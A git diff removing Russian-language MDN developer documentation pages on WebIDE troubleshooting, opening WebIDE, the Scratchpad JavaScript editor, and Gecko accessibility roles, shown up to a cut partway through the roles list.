-<div>{{ToolsSidebar}}</div><h2 id="Connecting_a_Firefox_OS_device_over_USB" name="Connecting_a_Firefox_OS_device_over_USB">Подключение устройства на Firefox OS по USB</h2>
-
-<p>Если вы пытаетесь подключить устройство на Firefox OS к WebIDE и его не видно, вот некоторые вещи, которые вы можете попробовать:</p>
-
-<ul>
- <li>Проверьте версию Вашей Firefox OS: Вы должны быть убедиться, что Ваше устройство работает под управлением<strong> Firefox OS 1.2/Boot2Gecko 1.2 или выше</strong>. Для того, чтобы это проверить, войдите в настройки приложений на устройстве, затем <code>Информация &gt; Программное обеспечение</code>. Если ваша версия достаточно старая, найдите ваше устройство в <a href="https://developer.mozilla.org/ru/Firefox_OS/Phone_guide" lang="ru">руководстве разработчика</a> и следуйте инструкциям по обновлению.</li>
- <li>Включите удалённую отладку: войдите в настройки приложений на устройстве, далее <code>Для разработчиков &gt; Отладка через USB</code>.
- <ul>
- <li>В предыдущих версиях данная настройка включается в <code>Информация &gt; Подробная информация &gt; Меню разработчика</code></li>
- <li>Firefox OS 1.3 и ниже: "Удалённая отладка" это просто обычный флажок (checkbox). Отметьте флажок.</li>
- <li>Firefox OS 1.4 и выше: "Удалённая отладка" попросит вас включиться только для ADB или для ADB и DevTools. Выберите "ADB и DevTools".</li>
- </ul>
- </li>
- <li>Отключите блокировку экрана на вашем устройстве: в настройках на устройстве, войдите в <code>Блокировка экрана </code>и уберите флажок с<code> Экран блокировки</code>. Это хорошая идея, потому что, когда экран гаснет, соединение с телефоном обрывается, что означает, устройство больше недоступно для отладки.</li>
- <li>Убедитесь, что вы не подключились к Android устройству в то же время, когда Firefox OS устройство уже было подключено к вашему компьютеру.</li>
- <li>Проверьте USB-кабель, который вы используете:
- <ul>
- <li>Попробуйте отключить и снова включить USB-кабель.</li>
- <li>Попробуйте подключить USB-кабель в другой порт на вашем компьютере</li>
- <li>Попробуйте подключить другой USB-кабель. Кабели, которые идут в комплекте с телефоном, часто бывают плохого качества.</li>
- <li>Попробуйте использовать более короткий USB-кабель. Длинные кабели, как известно, не работают так хорошо.</li>
- </ul>
- </li>
- <li>Попробуйте выключить и снова включить удалённую отладку в настройках приложений на устройстве.</li>
- <li>Если <a href="/ru/docs/Tools/WebIDE#Custom_runtimes">у вас отключено дополнение ADB Helper</a>, вы успешно запустили команду <code>adb forward</code>?</li>
- <li>Если вы используете Linux:
- <ul>
- <li>Убедитесь, что вы добавили файл правил <code>udev</code>, как описано в шаге 3 руководства <a href="http://developer.android.com/tools/device.html#setting-up">настройки Android устройства</a>. Аттрибут <code>idVendor</code> для Geeksphone равен "05c6", а <a class="external external-icon" href="http://developer.android.com/tools/device.html#VendorIds">эта страница</a> содержит другие значения <code>idVendor</code>. Далее, запустите <code>adb devices</code>, что убедиться, что устройство присутствует в списке. Если устройство отображается "не разрешённым", вам нужно перезапустить adb сервер (например, <code>adb kill-server;adb start-server</code>).</li>
- </ul>
- </li>
- <li>Если вы используете Windows:
- <ul>
- <li>Вам нужно установить драйвера, как описано в шаге 3 этого руководства <a class="external external-icon" href="http://developer.android.com/tools/device.html#setting-up">настройки Android устройства</a>. Вы можете найти драйвера для Geeksphone устройств на <a class="external external-icon" href="http://downloads.geeksphone.com/">сайте Geeksphone</a> и драйвера для устройств Google на <a href="http://developer.android.com/sdk/win-usb.htm">сайте Google</a>. Windows 8 по умолчанию не даёт вам устанавливать неподписанные драйвера. Смотрите это руководство <a class="external-icon external" href="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html" title="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html">"Как установить неподписанный драйвер на Windows 8"</a>.</li>
- <li>Если WebIDE не удаётся увидеть ваше устройство после следующих шагов, вам может понадобиться <a class="external-icon external" href="http://blog.fh-kaernten.at/wehr/?p=1182">отредактировать adb_usb.ini</a>.</li>
- </ul>
- </li>
- <li>Если вы используете OS X:
- <ul>
- <li>Если вы получаете ошибки тайм-аута и с эмуляторами, и с реальными устройствами, то возможно вам не удаётся подключиться к localhost из-за пустого файла /etc/hosts. Вы можете решить проблему заполнением файла и очисткой кеша DNS, <a href="https://discussions.apple.com/thread/2729411?tstart=0">как описано тут</a>.</li>
- <li>Если вы пользователь EasyTether, то вам понадобится удалить или отключить EasyTether: <code>sudo kextunload /System/Library/Extensions/EasyTetherUSBEthernet.kext</code></li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Подключение_к_устройству_Firefox_OS_по_Wi-Fi">Подключение к устройству Firefox OS по Wi-Fi</h2>
-
-<ul>
- <li>Проверьте вашу версию: отладка по Wi-Fi требует Firefox 39 или выше, и Firefox OS устройство, работающее на сборке Firefox OS 3.0 от 27-03-2015 или позже.</li>
- <li>Компьютер с Firefox и Firefox OS устройство должны быть подключены к той же Wi-Fi сети
- <ul>
- <li>Точнее говоря, компьютер <strong>не может</strong> использовать проводное соединение, относящееся к тому же роутеру. Вместо этого, оба устройства должны быть подключены через Wi-Fi.</li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Подключение_к_Firefox_для_Android">Подключение к Firefox для Android</h2>
-
-<p>Если вы пытаетесь подключиться к Firefox, работающему на Android OS и устройство не отображается, то вот несколько вещей, которые вы можете попробовать:</p>
-
-<ul>
- <li>Проверьте свою версию Firefox: убедитесь, что на вашем устройстве запущен<strong> Firefox 36 или выше</strong>. WebIDE не находит версии старее автоматически, так что вам понадобится включить проброску портов и подключиться к устройству - следуйте инструкциям <a class="external external-icon" href="/ru/docs/Tools/Remote_Debugging/Firefox_for_Android">здесь</a>.</li>
- <li>Убедитесь, что вы включили удалённую отладку в Firefox: откройте Firefox для Android, откройте его меню, выберите <code>Параметры</code>, а затем отметьте галочку в <code>Дополнительно &gt; Удалённая отладка через USB</code>.</li>
- <li>Убедитесь, что USB отладка разрешена в опциях разработчика на устройстве.</li>
- <li>Если вы всё ещё не видите своё устройство в окне WebIDE, попробуйте выключить и включить заново <code>удалённую отладку</code> на устройстве.
- <ul>
- <li>Отключите своё устройство от компьютера и выключите <code>удалённую отладку</code> на устройстве.</li>
- <li>Заново подключите устройство и включите <code>удалённую отладку</code> - перезапустится отладчик на устройстве.</li>
- <li>Попробуйте подключиться через WebIDE снова.</li>
- </ul>
- </li>
- <li>Если вы используете Linux:
- <ul>
- <li>Убедитесь, что вы добавили файл правил <code>udev</code>, как описано в шаге 3 руководства <a href="http://developer.android.com/tools/device.html#setting-up">настройки Android устройства</a>. Список <a href="http://developer.android.com/tools/device.html#VendorIds">значений <code>idVendor</code></a> Android может помочь. Далее, запустите <code>adb devices</code>, что убедиться, что устройство присутствует в списке. Если устройство отображается "не разрешённым", вам нужно перезапустить adb сервер (например, <code>adb kill-server;adb start-server</code>).</li>
- <li>Если вы используете <code>android-tools-adb</code> package из Debian, ADB Helper может вызывать закрытие сервера ADB. Этот пакет отключает TCP соединения с сервером, на который полагается ADB Helper.</li>
- </ul>
- </li>
- <li>Если вы используете Windows:
- <ul>
- <li>Убедитесь, что ваше Android устройство разпознаётся корректно и использует Google USB Driver, который поставляется с Android SDK.</li>
- </ul>
- </li>
- <li>Если вы используете Mac OS X:
- <ul>
- <li>Если вы пользователь EasyTether, вам понадобиться удалить или отключить EasyTether: <code>sudo kextunload /System/Library/Extensions/EasyTetherUSBEthernet.kext</code></li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Подключение_Firefox_для_Android_по_Wi-Fi">Подключение Firefox для Android по Wi-Fi</h2>
-
-<ul>
- <li>Проверьте ваши версии Firefox: отладка по Wi-Fi требует Firefox 42 или выше, и Firefox для Android 42 или выше.</li>
- <li>Компьютер с Firefox и Android устройство должны быть подключены к той же Wi-Fi сети
- <ul>
- <li>Точнее говоря, компьютер <strong>не может</strong> использовать проводное соединение, относящееся к тому же роутеру. Вместо этого, оба устройства должны быть подключены через Wi-Fi.</li>
- </ul>
- </li>
-</ul>
-
-<ul>
-</ul>
-
-<h2 id="Подключение_к_другим_браузерам_(Chrome_Safari)">Подключение к другим браузерам (Chrome, Safari)</h2>
-
-<p>WebIDE использует <a href="/ru/docs/Tools/Valence">Valence (бывший Firefox Tools Adapter)</a> для подключения к другим браузерам, например, Chrome and Safari.</p>
-
-<p>При возникновении проблем с подключением к другим браузерам, проверьте настройки, а также примечания касаемо этих браузеров на <a href="/ru/docs/Tools/Valence">странице Valence</a>.</p>
-
-<h2 id="Не_удаётся_отладить_некоторые_приложения">Не удаётся отладить некоторые приложения</h2>
-
-<p>Если вы понимаете, что вам не удаётся отладить сертифицированные приложения, встроенные приложения или приложения уже установленные на реальном устройстве, то вы вероятно столкнулись с ограниченными привилегиями политики безопасности WebIDE. Чтобы узнать больше, посмотрите раздел <a href="/ru/docs/Tools/WebIDE#Unrestricted_app_debugging_%28including_certified_apps.2C_main_process.2C_etc.%29">Unrestricted app debugging (including certified apps, main process, etc.)</a>.</p>
-
-<h2 id="Не_удаётся_загрузить_список_проектов">Не удаётся загрузить список проектов</h2>
-
-<p>Если открыть WebIDE в одной версии Firefox, а потом откатиться до предыдущей версии Firefox с тем же профилем, вы можете увидеть сообщение об ошибке "не удается загрузить список проектов" при открытии WebIDE в предыдущей версии Firefox.</p>
-
-<p>Это случается, когда система хранения данных, которую использует WebIDE (<a href="/ru/docs/Web/API/IndexedDB_API">IndexedDB</a>), требует переместить и реструктурировать внешние файлы для новой версии Firefox. Список проектов становится фактически недоступным для старых версий Firefox.</p>
-
-<p>Данные не теряются, но вам придётся продолжить использовать самую новую версию Firefox, с которой использовался ваш профиль, чтобы получить список проектов обратно.</p>
-
-<p>Если вы очень хотите использовать старую версию Firefox, вы можете попытаться удалить только список проектов следующим образом, но это не поддерживается и может привести к проблемам в дальнейшим или дополнительным потерям данных:</p>
-
-<ol>
- <li>Закройте Firefox</li>
- <li>Найдите вашу директорию профиля Firefox</li>
- <li>Найдите папку <code>storage</code> внутри директории профиля</li>
- <li>В некоторых местах этого древа файлов могут быть файлы и/или директории, которые начинаются с <code>4268914080AsptpcPerjo</code> (хэшированное имя базы данных))
- <ul>
- <li>
- <p>Например, они могут располагаться в <code>&lt;профиль&gt;/storage/permanent/indexeddb+++fx-devtools/idb</code></p>
- </li>
- </ul>
- </li>
- <li>Удалите все подобные файлы и директории</li>
- <li>Запустите Firefox и WebIDE снова</li>
-</ol>
-
-<h2 id="Включить_ведение_журнала">Включить ведение журнала</h2>
-
-<p>Вы также можете включить подробное протоколирование для сбора диагностических данных:</p>
-
-<ol start="1" style="list-style-type: decimal;">
- <li>Откройте <a class="external external-icon" href="http://kb.mozillazine.org/About:config">about:config</a>, и добавьте новый параметр, называемый <code>extensions.adbhelper@mozilla.org.sdk.console.logLevel</code> со значением <code>all</code> и установите <code>extensions.adbhelper@mozilla.org.debug</code> в <code>true</code>.</li>
- <li>В <a class="external external-icon" href="https://support.mozilla.org/ru/kb/udalenie-dopolnenij">дополнениях</a>, отключите и заново включите дополнение ADB Helper.</li>
- <li>Откройте <a href="https://developer.mozilla.org/ru/docs/Tools/Browser_Console">Веб-консоль</a> и вы увидите сообщения с префиксом <code>adb</code>. Если эти сообщения ничего для вас не значат, <a href="/ru/docs/Tools/WebIDE/Troubleshooting#Get_help">попросите помощи</a>.</li>
-</ol>
-
-<h2 id="Получить_помощь">Получить помощь</h2>
-
-<p>Зайдите на <a class="external external-icon" href="https://wiki.mozilla.org/DevTools/GetInvolved#Communication">IRC-канал #devtools</a>, и мы постараемся вам помочь.</p>
diff --git a/files/ru/tools/webide/запуск_webide/index.html b/files/ru/tools/webide/запуск_webide/index.html
deleted file mode 100644
index 929a74b817..0000000000
--- a/files/ru/tools/webide/запуск_webide/index.html
+++ /dev/null
@@ -1,29 +0,0 @@
----
-title: Запуск WebIDE
-slug: Tools/WebIDE/Запуск_WebIDE
-tags:
- - Tools
- - WebIDE
-translation_of: Archive/WebIDE/Opening_WebIDE
----
-<div>{{ToolsSidebar}}</div><p>Есть три способа открытия WebIDE:</p>
-
-<ul>
- <li>В меню <em>Инструменты &gt; Веб-разработка</em>, нажмите пункт <em>WebIDE</em>.</li>
- <li>Используйте комбинацию клавиш <em>Shift + F8</em>.</li>
- <li>Click the dedicated icon in the Firefox toolbar. This is always present if you're using <a href="/ru/Firefox/Developer_Edition">Firefox Developer Edition</a>, and with any other Firefox from <a href="/ru/Firefox/Releases/36">version 36</a> onwards it appears after you've opened WebIDE once:</li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9437/webide-icon.png" style="display: block; margin-left: auto; margin-right: auto; width: 897px;"></p>
-
-<p>Нажмите на него и вы увидите как откроется WebIDE:<img alt="" src="https://mdn.mozillademos.org/files/8033/webide-initial.png" style="display: block; height: 560px; margin-left: auto; margin-right: auto; width: 720px;">Ниспадающий список слева с надписью <em>«Открыть Приложение» (Open App)</em> позволяет открывать существующие приложения или создавать новые. Ниспадающий список справа с надписью <em>«Выбрать Runtime» (Select Runtime)</em> позволяет выбрать среду исполнения или <a href="/ru/docs/Tools/WebIDE/Setting_up_runtimes">установить и настроить новую</a>.</p>
-
-<p>Кнопки посередине «запустить», «остановить» и «отладка» приложения активны только, когда уже открыто какое-то приложение и выбрана среда исполнения для него.</p>
-
-<p>You can change the font size throughout WebIDE using the standard keyboard shortcuts (use <code>Command</code> instead of <code>Control</code> on OS X):</p>
-
-<ul>
- <li><code>Ctrl +</code> increases font size.</li>
- <li><code>Ctrl -</code> decreases font size.</li>
- <li><code>Ctrl 0</code> resets the font size to the default.</li>
-</ul>
diff --git a/files/ru/tools/черновик/index.html b/files/ru/tools/черновик/index.html
deleted file mode 100644
index 2046bd6a74..0000000000
--- a/files/ru/tools/черновик/index.html
+++ /dev/null
@@ -1,123 +0,0 @@
----
-title: Черновик
-slug: Tools/Черновик
-tags:
- - Scratchpad
- - Блокнот
- - Веб-разработка
- - Редактор
- - 'веб-разработка:инструменты'
- - инструменты
-translation_of: Archive/Tools/Scratchpad
----
-<div>{{ToolsSidebar}}</div>
-
-<p>Простой редактор (Scratchpad, блокнот) JavaScript обеспечивает среду для экспериментов с JavaScript-кодом. Вы можете писать и запускать в нём код, взаимодействующий с содержимым веб-страницы, и проверять результаты его выполнения.</p>
-
-<p>В отличие от <a href="/ru/Tools/Web_Console" title="ru/Использование Веб-консоли">Веб-консоли</a>, которая позволяет интерпретировать только одну строку кода за раз, этот редактор позволяет вам редактировать большие фрагменты кода на JavaScript, затем запускать их разными способами в зависимости от того, как вы хотите использовать вывод результата.</p>
-
-<p>{{EmbedYouTube("Pt7DZACyClM")}}</p>
-
-<h2 id="Использование">Использование</h2>
-
-<h3 id="Открываем_редактор_в_отдельном_окне">Открываем редактор в отдельном окне</h3>
-
-<p>Чтобы открыть окно редактора JavaScript в отдельном окне:</p>
-
-<ul>
- <li>нажмите <kbd>Shift</kbd> + <kbd>F4</kbd>, либо перейдите в меню Веб-разработка (которое находится в меню Инструменты на OS X и Linux), где выберите пункт «Простой редактор JavaScript».</li>
- <li>кликните "ключ" (<img alt="" src="https://mdn.mozillademos.org/files/12710/wrench-icon.png" style="height: 21px; width: 21px;">), который находится на панели инструментов внутри меню (<img alt="" src="https://mdn.mozillademos.org/files/12712/hamburger.png" style="height: 20px; width: 22px;">), после выберите «Простой редактор JavaScript».</li>
-</ul>
-
-<h3 id="Открытие_Редактора_в_окне_Инструменты_разработки">Открытие Редактора в окне Инструменты разработки</h3>
-
-<div class="geckoVersionNote">Новое в Firefox 47.</div>
-
-<p>Начиная с Firefox 47, вы можете открыть редактор внутри окна "<a href="/ru/docs/Tools/Tools_Toolbox">Инструменты разработки</a>". Вначале установите галочку напротив «Простой редактор JavaScript», которая находится  в <a href="/ru/docs/Tools/Tools_Toolbox#Settings">настройках</a> окна "Инструменты разработки" в области "Инструменты разработчика Firefox по умолчанию".</p>
-
-<p>Теперь Редактор будет доступен в окне "Инструменты", наряду с Инспектором, Консолью, Отладчиком и другими. Это особенно удобно в <a href="/en-US/docs/Tools/Web_Console/Split_console">режиме раздельной консоли</a>: например, можно использовать редактор как постоянный многострочный редактор, и консоль для взаимодесствия со страницей.</p>
-
-<h3 id="Редактирование">Редактирование</h3>
-
-<p>Окно Редактора выглядит так (на Mac OS X строка меню находится сверху экрана):</p>
-
-<p><img alt="A screenshot of the Scratchpad" src="https://mdn.mozillademos.org/files/14143/own_window1.png" style="height: 249px; width: 831px;"></p>
-
-<p>Меню File предлагает варианты для сохранения и загрузки фрагментов  JavaScript-кода, так что вы можете повторно использовать код позже, если захотите.</p>
-
-<h4 id="Автозавершение_кода"><span class="short_text" id="result_box" lang="ru"><span>Автозавершение кода</span></span></h4>
-
-<p><span class="short_text" lang="ru"><span>Редактор интегрирует анализатор кода <a href="http://ternjs.net/">Tern</a>,  и использует его для предоставления автодополнений и всплывающих подсказок с информацией о текущем символе. Для просмотра автодополнений нажмите </span></span> <kbd>Ctrl</kbd> + <kbd>Space</kbd>.</p>
-
-<p>Например, напишите <kbd>d</kbd>, после нажмите <kbd>Ctrl</kbd> + <kbd>Space</kbd>. Вы увидите окно с вариантами автодополнений: </p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14147/autocomplete1.png" style="display: block; height: 275px; margin-left: auto; margin-right: auto; width: 838px;"></p>
-
-<p>Иконка рядом с каждым вариантом указывает на тип выбираемого элемента. Здесь же по выбранному элементу отображается полезная информация. Можно выбирать разные варианты предложений клавишами <kbd>↑</kbd> and <kbd>↓</kbd>. Для утверждения и вставки слова в текст нажмите <kbd>Enter</kbd> or <kbd>Tab</kbd>.</p>
-
-<h4 id="Inline_documentation">Inline documentation</h4>
-
-<p>Для просмотра всплывающего окна с документацией нажмите <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Space</kbd>, когда курсор на идентификаторе (Javascript). Например, если вы напишите <code>document</code>.<code>addEventListener</code>, нажмёте <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Space</kbd>, то <span id="result_box" lang="ru"><span>увидите</span> <span>всплывающее окно, которое</span> <span>показывает</span> <span>краткую информацию о</span> <span>синтаксисе</span> этой <span>функции</span> <span>и</span> <span>краткое описание:</span></span></p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14145/inline_doc1.png" style="display: block; height: 310px; margin-left: auto; margin-right: auto; width: 827px;"></p>
-
-<p>Ссылка [документация] откроет в окне документацию MDN по элементу.</p>
-
-<h3 id="Выполнение_кода">Выполнение кода</h3>
-
-<div class="note">
-<p>После того, как вы написали свой код, выделите код, который вы хотите запустить. Если вы ничего не выделите, будет запущен весь код в окне. Затем выберите способ, которым хотите запустить, с помощью одной из кнопок наверху, меню Выполнить в строке меню, или контекстного меню. Код выполняется в контексте выбранной в данный момент вкладке. Все переменные, которые вы определили вне функции, будут добавлены в глобальный объект этой вкладки.</p>
-</div>
-
-<p>Доступны четыре варианта выполнения.</p>
-
-<h4 id="Запуск">Запуск</h4>
-
-<p>Когда вы выбираете опцию Запустить, то выполняется выделенный код. Это способ, которым вы будете выполнять функцию или другой код, который воздействует на содержание вашей страницы. Без необходимости просмотра результата.</p>
-
-<h4 id="Исследовать">Исследовать</h4>
-
-<p>Опция Исследовать выполняет код так же, как и Запустить; однако затем открывается объект Инспектор, чтобы вы могли узнать возвращенное кодом значение.</p>
-
-<p>Например, если вы введете код:</p>
-
-<pre class="notranslate">window
-</pre>
-
-<p>Затем выберите Исследовать, вы получите окно Инспектора, которое может выглядеть примерно так:</p>
-
-<p><img alt="Inspecting an object in the Scratchpad" src="https://mdn.mozillademos.org/files/14151/inspect1.png" style="height: 308px; width: 833px;"></p>
-
-<h4 id="Отобразить">Отобразить</h4>
-
-<p>Опция «Отобразить» выполняет выделенный код, затем вставляет результат непосредственно в окно редактора в качестве комментария, так что его можно будет использовать согласно циклу <a href="http://ru.wikipedia.org/wiki/REPL">REPL</a> для дальнейшего программирования.</p>
-
-<h4 id="Перезагрузить_и_запустить">Перезагрузить и запустить</h4>
-
-<p>Опция «Перезагрузить и запустить» доступна только в меню Выполнить. Она сначала перезагружает страницу, затем выполняет код по событию страницы «load». Это полезно для выполнения кода в первоначальном окружении.</p>
-
-<h2 id="Запуск_Редактора_в_контексте_браузера"><span class="short_text" id="result_box" lang="ru"><span>Запуск</span> Редактора <span>в контексте</span> <span>браузера</span></span></h2>
-
-<p><span id="result_box" lang="ru"><span>Вы можете запустить</span> <span>блокнот</span> <span>в контексте</span> <span>браузера</span> <span>в целом</span><span>, а не для конкретной</span> <span>веб-страницы</span><span>.</span> Например<span>, если</span> <span>вы работаете на</span>д <span>самим</span> <span>Firefox</span> <span>или разработкой</span> <span>дополнений.</span> <span>Для</span> <span>этого </span>поставьте галочку <span>"Включить инструменты отладки browser chrome </span><span>и</span> <span>дополнений</span><span>" в настройках "<a href="/ru/docs/Tools/Tools_Toolbox#Settings">Инструментов разработки</a>"</span></span>. После этого в м<span id="result_box" lang="ru"><span>еню</span> <span>"Окружение" (в Редакторе)</span> появится <span>опция</span> "Браузер"<span>;</span> <span>как только это произойдет</span><span>,</span> <span>вашей сферой</span> <span>станет</span> <span>весь браузер</span><span>, а не только</span> <span>содержимое страницы</span><span>. Ниже рассмотрен пример, где объект window доступен в любом режиме Окружения, а объект gBrowser только в режиме "Браузер" (иначе появится сообщение об ошибке):</span></span></p>
-
-<pre class="brush: js notranslate">window
-/*
-[object ChromeWindow]
-*/
-
-gBrowser
-/*
-[object XULElement]
-*/</pre>
-
-<p><span id="result_box" lang="ru"><span>Контекст выполнения</span> Реактора <span>установлен на "</span><span>Браузер". Если вы открываете файл со скриптом в редакторе, и он первой строкой имеет </span></span><strong>// -sp-context: browser</strong><span lang="ru"><span>, то</span> окружение автоматически переключится в режим "Браузер". Это происходит только при открытии.</span></p>
-
-<p><span lang="ru"><img alt="" src="https://mdn.mozillademos.org/files/14149/autochange-environment1.png" style="height: 206px; width: 829px;"></span></p>
-
-<h2 id="Сочетания_клавиш">Сочетания клавиш</h2>
-
-<p>{{ Page ("ru/docs/tools/Keyboard_shortcuts", "scratchpad") }}</p>
-
-<h3 id="Сочетания_клавиш_редактора_исходного_кода">Сочетания клавиш редактора исходного кода</h3>
-
-<p>{{ Page ("ru/docs/tools/Keyboard_shortcuts", "source-editor") }}</p>
diff --git a/files/ru/web/accessibility/at-apis/gecko/index.html b/files/ru/web/accessibility/at-apis/gecko/index.html
deleted file mode 100644
index 9cd605e79d..0000000000
--- a/files/ru/web/accessibility/at-apis/gecko/index.html
+++ /dev/null
@@ -1,9 +0,0 @@
----
-title: Gecko
-slug: Web/Accessibility/AT-APIs/Gecko
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko
----
-{{wiki.localize('System.API.page-generated-for-subpage')}}
diff --git a/files/ru/web/accessibility/at-apis/gecko/roles/index.html b/files/ru/web/accessibility/at-apis/gecko/roles/index.html
deleted file mode 100644
index 3279dc94f1..0000000000
--- a/files/ru/web/accessibility/at-apis/gecko/roles/index.html
+++ /dev/null
@@ -1,498 +0,0 @@
----
-title: Gecko Roles
-slug: Web/Accessibility/AT-APIs/Gecko/Roles
-tags:
- - AT_APIs
- - Accessibility
- - NeedsTranslation
- - Reference
- - TopicStub
-translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles
----
-<p><a href="/ru/docs/Accessibility:AT-APIs#Supported_Roles">« AT APIs Support Page</a></p>
-<p><span class="seoSummary">This page offers a list of accessible roles used in Gecko. Role constants are defined in the <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessibleRole" title="">nsIAccessibleRole</a></code> interface.</span></p>
-<dl>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_NOTHING">ROLE_NOTHING</a></code></dt>
- <dd>
- Used when the accessible item doesn't have a strongly defined role.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TITLEBAR">ROLE_TITLEBAR</a></code></dt>
- <dd>
- Represents a title or caption bar for a window. Used by MSAA only, this is supported automatically by Microsoft Windows.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_MENUBAR">ROLE_MENUBAR</a></code></dt>
- <dd>
- Represents the menu bar (positioned beneath the title bar of a window on most platforms or at the top of the screen on Mac OS X) from which menus are selected by the user.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SCROLLBAR">ROLE_SCROLLBAR</a></code></dt>
- <dd>
- Represents a vertical or horizontal scroll bar, which is part of the client area or used in a control.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_GRIP">ROLE_GRIP</a></code></dt>
- <dd>
- Represents a special mouse pointer, which allows a user to manipulate user interface elements such as windows. For example, a user clicks and drags a sizing grip in the lower-right corner of a window to resize it</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SOUND">ROLE_SOUND</a></code></dt>
- <dd>
- Represents a system sound, which is associated with various system events.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CURSOR">ROLE_CURSOR</a></code></dt>
- <dd>
- Represents the system mouse pointer.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CARET">ROLE_CARET</a></code></dt>
- <dd>
- Represents the system caret.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ALERT">ROLE_ALERT</a></code></dt>
- <dd>
- Represents an alert or a condition that a user should be notified about. Assistive Technologies typically respond to the role by reading the entire onscreen contents of containers advertising this role. Should be used for warning dialogs, etc.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_WINDOW">ROLE_WINDOW</a></code></dt>
- <dd>
- Represents the window frame, which contains child objects such as a title bar, client, and other objects contained in a window. The role is supported automatically by Microsoft Windows.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_INTERNAL_FRAME">ROLE_INTERNAL_FRAME</a></code></dt>
- <dd>
- A sub-document.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_MENUPOPUP">ROLE_MENUPOPUP</a></code></dt>
- <dd>
- Represents a menu, which presents a list of options from which the user can make a selection to perform an action.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_MENUITEM">ROLE_MENUITEM</a></code></dt>
- <dd>
- Represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TOOLTIP">ROLE_TOOLTIP</a></code></dt>
- <dd>
- Represents a tooltip that provides helpful hints; this is generally displayed at the mouse cursor position.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_APPLICATION">ROLE_APPLICATION</a></code></dt>
- <dd>
- Represents a main window for an application.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT">ROLE_DOCUMENT</a></code></dt>
- <dd>
- Represents a document window. A document window is always contained within an application window.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PANE">ROLE_PANE</a></code></dt>
- <dd>
- Represents a pane within a frame or document window. Users can navigate between panes and within the contents of the current pane, but cannot navigate between items in different panes. Thus, panes represent a level of grouping lower than frame windows or documents, but above individual controls.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHART">ROLE_CHART</a></code></dt>
- <dd>
- Represents a graphical image used to represent data.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DIALOG">ROLE_DIALOG</a></code></dt>
- <dd>
- Represents a dialog box or message box.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_BORDER">ROLE_BORDER</a></code></dt>
- <dd>
- Represents a window border.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_GROUPING">ROLE_GROUPING</a></code></dt>
- <dd>
- Logically groups other objects.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SEPARATOR">ROLE_SEPARATOR</a></code></dt>
- <dd>
- Used to visually divide a space into two regions, such as a separator menu item or a bar that divides split panes within a window.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TOOLBAR">ROLE_TOOLBAR</a></code></dt>
- <dd>
- Represents a toolbar, which is a grouping of controls (push buttons or toggle buttons) that provides easy access to frequently used features.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_STATUSBAR">ROLE_STATUSBAR</a></code></dt>
- <dd>
- Represents a status bar, which is an area at the bottom of a window that displays information about the current operation, state of the application, or selected object. The status bar has multiple fields, which display different kinds of information.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TABLE">ROLE_TABLE</a></code></dt>
- <dd>
- Represents a table that contains rows and columns of cells, and optionally, row headers and column headers.</dd>
- <dt>
- <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COLUMNHEADER">ROLE_COLUMNHEADER</a></code></dt>
- <dd>
